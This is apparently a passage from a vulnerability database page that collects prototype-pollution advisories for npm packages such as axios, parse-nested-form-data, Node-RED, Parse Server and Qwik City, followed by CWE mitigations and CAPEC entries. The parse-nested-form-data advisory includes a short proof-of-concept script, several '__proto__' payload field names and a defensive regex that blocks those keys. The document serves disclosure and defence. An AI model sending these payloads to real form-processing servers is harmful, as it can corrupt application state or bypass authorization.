\u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n+        btoa(authUsername + \u0027:\u0027 + (authPassword ? encodeUTF8(authPassword) : \u0027\u0027))\n     );\n   }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922\u0027s `own(\u0027params\u0027)` / `own(\u0027paramsSerializer\u0027)` change \u2014 that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) \u2014 `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) \u2014 `mergeDirectKeys` `in` \u2192 `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) \u2014 proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) \u2014 `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) \u2014 `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) \u2014 `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737\u2013740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n  findings. The bundle\u0027s public tracking entry (without the working\n  exploit chain) is at\n  [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I\u0027m happy to submit the patch as a PR if that helps. Or, if you\u0027d\n  prefer to fold this into open PR #10922 (whose author is actively\n  responding to comments), please let me know and I\u0027ll coordinate.\n- Threat model honesty: this is **amplifier framing** \u2014 exploitation\n  requires a separate prototype-pollution primitive elsewhere in the\n  host process. That\u0027s how the existing GHSA-q8qp-cvcw-x6jj and\n  PR #10833 were framed too, so the precedent for \"in-scope as a\n  hardening fix\" is established.\n\u003c/details\u003e",
  "id": "GHSA-xj6q-8x83-jv6g",
  "modified": "2026-07-20T17:51:17Z",
  "published": "2026-07-20T17:51:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Prototype pollution auth subfields can inject Basic auth"
}

GHSA-XJ6R-WGR5-8RXC

Vulnerability from github – Published: 2025-02-12 18:31 – Updated: 2025-02-21 12:32
VLAI
Details

In Progress® Telerik® Kendo UI for Vue versions v2.4.0 through v6.0.1, an attacker can introduce or modify properties within the global prototype chain which can result in denial of service or command injection.

Severity
4.1 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-11628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-12T17:15:22Z",
    "severity": "MODERATE"
  },
  "details": "In Progress\u00ae Telerik\u00ae Kendo UI for Vue versions v2.4.0 through v6.0.1, an attacker can introduce or modify properties within the global prototype chain which can result in denial of service or command injection.",
  "id": "GHSA-xj6r-wgr5-8rxc",
  "modified": "2025-02-21T12:32:11Z",
  "published": "2025-02-12T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11628"
    },
    {
      "type": "WEB",
      "url": "https://www.telerik.com/kendo-vue-ui/components/knowledge-base/kb-security-protoype-pollution-2024-11628"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XP7R-J8R6-J9H3

Vulnerability from github – Published: 2026-05-18 16:43 – Updated: 2026-06-09 10:50
VLAI
Summary
parse-nested-form-data has Prototype Pollution via `__proto__` in FormData field names
Details

Summary

parseFormData() walks bracket and dot-notation FormData field names into nested objects without filtering reserved property keys. A single FormData field whose name begins with __proto__, or contains .__proto__. mid-path, causes the parser to traverse onto Object.prototype and assign properties there, polluting the prototype chain of every plain object in the running process.

Details

The vulnerability is in handlePathPart in src/index.ts, which performs currentObject[pathPart.path] and currentObject[pathPart.path] = val for object-type path segments without rejecting reserved keys. When the segment is __proto__, the read returns Object.prototype, which then becomes the next traversal target, and the next assignment lands on the prototype.

Reproduction on a fresh install of parse-nested-form-data@1.0.0:

import { parseFormData } from 'parse-nested-form-data';
const fd = new FormData();
fd.append('__proto__.polluted', 'yes');
parseFormData(fd);
console.log(({}).polluted); // -> 'yes'
console.log(([]).polluted); // -> 'yes'

Equivalent vectors:

  • __proto__[polluted]=yes
  • a.__proto__.polluted=yes (mid-path traversal)
  • a[0].__proto__.polluted=yes (mid-path through an array element)

constructor.prototype.x was incidentally blocked by an existing duplicate-key guard (because Object is a function and failed the JSON-object check), but relying on that was fragile, so the fix denylists constructor and prototype as well as __proto__. The array branch (a[0], a[]) was not exploitable in practice - the regex restricts array-index segments to digit characters - but the forbidden-key check is applied before the object/array type branching as defense in depth, so any future change to the regex cannot reintroduce the issue.

Impact

Any application that passes attacker-controlled FormData (or any Iterable<[string, string | File]>) to parseFormData() - typically an HTTP server processing form submissions - allows an unauthenticated remote client to mutate Object.prototype of the running process via a single field name. Concrete consequences depend on the host application and may include corrupted application state, altered control flow in code that reads ambient properties off objects, and denial of service.

Patches

Fixed in 1.0.1. handlePathPart now throws a new ForbiddenKeyError (also exported) when any path segment is __proto__, constructor, or prototype, regardless of whether the segment would be used as an object key or an array index. The check runs before object/array type branching for defense in depth.

Upgrade:

npm install parse-nested-form-data@^1.0.1

Workarounds

If upgrading is not possible, validate field names before calling parseFormData():

const FORBIDDEN = /(^|\.)(__proto__|constructor|prototype)($|[.[])/;
for (const [name] of formData.entries()) {
  if (FORBIDDEN.test(name)) throw new Error('Unsafe field name');
}

Resources

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • Fix commit: 527ad58eb486e32438f7198fb88315c20449d792
Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "parse-nested-form-data"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T16:43:12Z",
    "nvd_published_at": "2026-06-01T19:16:51Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`parseFormData()` walks bracket and dot-notation FormData field names into nested objects without filtering reserved property keys. A single FormData field whose name begins with `__proto__`, or contains `.__proto__.` mid-path, causes the parser to traverse onto `Object.prototype` and assign properties there, polluting the prototype chain of every plain object in the running process.\n\n## Details\n\nThe vulnerability is in `handlePathPart` in `src/index.ts`, which performs `currentObject[pathPart.path]` and `currentObject[pathPart.path] = val` for object-type path segments without rejecting reserved keys. When the segment is `__proto__`, the read returns `Object.prototype`, which then becomes the next traversal target, and the next assignment lands on the prototype.\n\nReproduction on a fresh install of `parse-nested-form-data@1.0.0`:\n\n```js\nimport { parseFormData } from \u0027parse-nested-form-data\u0027;\nconst fd = new FormData();\nfd.append(\u0027__proto__.polluted\u0027, \u0027yes\u0027);\nparseFormData(fd);\nconsole.log(({}).polluted); // -\u003e \u0027yes\u0027\nconsole.log(([]).polluted); // -\u003e \u0027yes\u0027\n```\n\nEquivalent vectors:\n\n- `__proto__[polluted]=yes`\n- `a.__proto__.polluted=yes` (mid-path traversal)\n- `a[0].__proto__.polluted=yes` (mid-path through an array element)\n\n`constructor.prototype.x` was incidentally blocked by an existing duplicate-key guard (because `Object` is a function and failed the JSON-object check), but relying on that was fragile, so the fix denylists `constructor` and `prototype` as well as `__proto__`. The array branch (`a[0]`, `a[]`) was not exploitable in practice - the regex restricts array-index segments to digit characters - but the forbidden-key check is applied before the object/array type branching as defense in depth, so any future change to the regex cannot reintroduce the issue.\n\n## Impact\n\nAny application that passes attacker-controlled `FormData` (or any `Iterable\u003c[string, string | File]\u003e`) to `parseFormData()` - typically an HTTP server processing form submissions - allows an unauthenticated remote client to mutate `Object.prototype` of the running process via a single field name. Concrete consequences depend on the host application and may include corrupted application state, altered control flow in code that reads ambient properties off objects, and denial of service.\n\n## Patches\n\nFixed in **1.0.1**. `handlePathPart` now throws a new `ForbiddenKeyError` (also exported) when any path segment is `__proto__`, `constructor`, or `prototype`, regardless of whether the segment would be used as an object key or an array index. The check runs before object/array type branching for defense in depth.\n\nUpgrade:\n\n```\nnpm install parse-nested-form-data@^1.0.1\n```\n\n## Workarounds\n\nIf upgrading is not possible, validate field names before calling `parseFormData()`:\n\n```js\nconst FORBIDDEN = /(^|\\.)(__proto__|constructor|prototype)($|[.[])/;\nfor (const [name] of formData.entries()) {\n  if (FORBIDDEN.test(name)) throw new Error(\u0027Unsafe field name\u0027);\n}\n```\n\n## Resources\n\n- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- Fix commit: 527ad58eb486e32438f7198fb88315c20449d792",
  "id": "GHSA-xp7r-j8r6-j9h3",
  "modified": "2026-06-09T10:50:53Z",
  "published": "2026-05-18T16:43:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/milamer/parse-nested-form-data/security/advisories/GHSA-xp7r-j8r6-j9h3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45302"
    },
    {
      "type": "WEB",
      "url": "https://github.com/milamer/parse-nested-form-data/commit/527ad58eb486e32438f7198fb88315c20449d792"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/milamer/parse-nested-form-data"
    },
    {
      "type": "WEB",
      "url": "https://github.com/milamer/parse-nested-form-data/releases/tag/v1.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "parse-nested-form-data has Prototype Pollution via `__proto__` in FormData field names"
}

GHSA-XP9C-82X8-7F67

Vulnerability from github – Published: 2021-02-26 16:31 – Updated: 2021-09-22 13:55
VLAI
Summary
Prototype Pollution in Node-Red
Details

Impact

Node-RED 1.2.7 and earlier contains a Prototype Pollution vulnerability in the admin API. A badly formed request can modify the prototype of the default JavaScript Object with the potential to affect the default behaviour of the Node-RED runtime.

Patches

The vulnerability is patched in the 1.2.8 release.

Workarounds

A workaround is to ensure only authorised users are able to access the editor url.

For more information

If you have any questions or comments about this advisory: * Email us at team@nodered.org

Acknowledgements

Thanks to the Tencent Woodpecker Security Team for disclosing this vulnerability.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@node-red/runtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21297"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-26T16:22:38Z",
    "nvd_published_at": "2021-02-26T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nNode-RED 1.2.7 and earlier contains a Prototype Pollution vulnerability in the admin API. A badly formed request can modify the prototype of the default JavaScript Object with the potential to affect the default behaviour of the Node-RED runtime.\n\n### Patches\n\nThe vulnerability is patched in the 1.2.8 release.\n\n### Workarounds\n\nA workaround is to ensure only authorised users are able to access the editor url.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [team@nodered.org](mailto:team@nodered.org)\n\n### Acknowledgements\n\nThanks to the Tencent Woodpecker Security Team for disclosing this vulnerability.",
  "id": "GHSA-xp9c-82x8-7f67",
  "modified": "2021-09-22T13:55:00Z",
  "published": "2021-02-26T16:31:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/node-red/node-red/security/advisories/GHSA-xp9c-82x8-7f67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21297"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/node-red/node-red"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-red/node-red/releases/tag/1.2.8"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/@node-red/editor-api"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/@node-red/runtime"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in Node-Red"
}

GHSA-XPP5-M7FR-WP25

Vulnerability from github – Published: 2025-05-06 18:30 – Updated: 2025-05-06 18:30
VLAI
Details

A Prototype pollution vulnerability in Kibana leads to arbitrary code execution via crafted HTTP requests to machine learning and reporting endpoints.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-25014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-06T18:15:37Z",
    "severity": "CRITICAL"
  },
  "details": "A Prototype pollution vulnerability in Kibana leads to arbitrary code execution via crafted HTTP requests to machine learning and reporting endpoints.",
  "id": "GHSA-xpp5-m7fr-wp25",
  "modified": "2025-05-06T18:30:39Z",
  "published": "2025-05-06T18:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25014"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-8-17-6-8-18-1-or-9-0-1-security-update-esa-2025-07/377868"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPRV-WVH7-QQQX

Vulnerability from github – Published: 2022-11-09 20:47 – Updated: 2023-08-21 18:16
VLAI
Summary
Parse Server vulnerable to Prototype Pollution via Cloud Code Webhooks or Cloud Code Triggers
Details

Impact

Keywords that are specified in the Parse Server option requestKeywordDenylist can be injected via Cloud Code Webhooks or Triggers. This will result in the keyword being saved to the database, bypassing the requestKeywordDenylist option.

Patches

Improved keyword detection.

Workarounds

Configure your firewall to only allow trusted servers to make request to the Parse Server Cloud Code Webhooks API, or block the API completely if you are not using the feature.

Collaborators

Mikhail Shcherbakov, Cristian-Alexandru Staicu and Musard Balliu working with Trend Micro Zero Day Initiative

References

  • https://github.com/parse-community/parse-server/security/advisories/GHSA-xprv-wvh7-qqqx
Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.10.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-41878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-09T20:47:27Z",
    "nvd_published_at": "2022-11-10T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nKeywords that are specified in the Parse Server option `requestKeywordDenylist` can be injected via Cloud Code Webhooks or Triggers. This will result in the keyword being saved to the database, bypassing the `requestKeywordDenylist` option.\n\n### Patches\n\nImproved keyword detection.\n\n### Workarounds\n\nConfigure your firewall to only allow trusted servers to make request to the Parse Server Cloud Code Webhooks API, or block the API completely if you are not using the feature.\n\n### Collaborators\n\nMikhail Shcherbakov, Cristian-Alexandru Staicu and Musard Balliu working with Trend Micro Zero Day Initiative\n\n### References\n- https://github.com/parse-community/parse-server/security/advisories/GHSA-xprv-wvh7-qqqx\n",
  "id": "GHSA-xprv-wvh7-qqqx",
  "modified": "2023-08-21T18:16:54Z",
  "published": "2022-11-09T20:47:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-xprv-wvh7-qqqx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41878"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/8301"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/8302"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/0a2d412e265992d53a670011afd9d2578562adc3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/6728da1e3591db1e27031d335d64d8f25546a06f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Parse Server vulnerable to Prototype Pollution via Cloud Code Webhooks or Cloud Code Triggers"
}

GHSA-XQ4F-3JXP-QV6M

Vulnerability from github – Published: 2025-09-24 21:30 – Updated: 2025-09-26 12:56
VLAI
Summary
csvjson vulnerable to prototype injection
Details

A Prototype Pollution vulnerability in the toCsv function of csvjson versions thru 5.1.0 allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "csvjson"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-26T12:56:24Z",
    "nvd_published_at": "2025-09-24T21:15:31Z",
    "severity": "HIGH"
  },
  "details": "A Prototype Pollution vulnerability in the toCsv function of csvjson versions thru 5.1.0 allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence.",
  "id": "GHSA-xq4f-3jxp-qv6m",
  "modified": "2025-09-26T12:56:24Z",
  "published": "2025-09-24T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57318"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VulnSageAgent/PoCs/blob/main/JavaScript/prototype-pollution/csvjson%405.1.0/index.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VulnSageAgent/PoCs/tree/main/JavaScript/prototype-pollution/CVE-2025-57318"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pradeep-mishra/csvjson"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "csvjson vulnerable to prototype injection"
}

GHSA-XQG6-98CW-GXHQ

Vulnerability from github – Published: 2026-02-03 20:49 – Updated: 2026-02-04 17:45
VLAI
Summary
Prototype Pollution via FormData Processing in Qwik City
Details

Summary

A Prototype Pollution vulnerability exists in the formToObj() function within @builder.io/qwik-city middleware. The function processes form field names with dot notation (e.g., user.name) to create nested objects, but fails to sanitize dangerous property names like __proto__, constructor, and prototype. This allows unauthenticated attackers to pollute Object.prototype by sending crafted HTTP POST requests, potentially leading to privilege escalation, authentication bypass, or denial of service.

Impact

An unauthenticated attacker can supply specially crafted form field names that cause formToObj() to write dangerous keys (for example proto, constructor, prototype) into parsed objects. This results in Prototype Pollution of the server process and can cause privilege escalation, auth bypass, denial-of-service, or other global application integrity failures depending on how objects are used.

Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@builder.io/qwik-city"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T20:49:22Z",
    "nvd_published_at": "2026-02-03T22:16:30Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA Prototype Pollution vulnerability exists in the `formToObj()` function within `@builder.io/qwik-city` middleware. The function processes form field names with dot notation (e.g., `user.name`) to create nested objects, but fails to sanitize dangerous property names like `__proto__`, `constructor`, and `prototype`. This allows unauthenticated attackers to pollute `Object.prototype` by sending crafted HTTP POST requests, potentially leading to privilege escalation, authentication bypass, or denial of service.\n\n### Impact\nAn unauthenticated attacker can supply specially crafted form field names that cause formToObj() to write dangerous keys (for example __proto__, constructor, prototype) into parsed objects. This results in Prototype Pollution of the server process and can cause privilege escalation, auth bypass, denial-of-service, or other global application integrity failures depending on how objects are used.",
  "id": "GHSA-xqg6-98cw-gxhq",
  "modified": "2026-02-04T17:45:43Z",
  "published": "2026-02-03T20:49:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QwikDev/qwik/security/advisories/GHSA-xqg6-98cw-gxhq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25150"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QwikDev/qwik/commit/5f65bae2bc33e6ca0c21e4cfcf9eae05077716f7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QwikDev/qwik"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution via FormData Processing in Qwik City"
}
Mitigation
Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation
Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation
Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation
Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation
Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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